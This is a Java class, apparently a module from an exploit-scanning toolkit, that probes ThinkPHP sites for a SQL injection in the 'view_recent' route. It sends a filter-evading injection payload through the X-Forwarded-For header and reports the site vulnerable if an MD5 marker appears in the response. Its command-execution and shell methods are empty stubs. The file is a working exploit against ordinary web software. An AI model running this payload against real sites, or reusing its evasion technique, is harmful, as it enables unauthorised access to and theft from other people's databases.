content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  public class tp_view_recent_xff_sqli implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String payload = url + "/index.php?s=/home/article/view_recent/name/1";
          try {
              String res = HttpRequest.get(payload).header("X-Forwarded-For","1')And/**/ExtractValue(1,ConCat(0x5c,(sElEct/**/Md5(2333))))#").body();
              if (res.contains("56540676a129760a")) {
                  return new Result(true, "ThinkPHP recent_xff sql注入", payload);
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
  
          return new Result(false, "ThinkPHP recent_xff sql注入", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  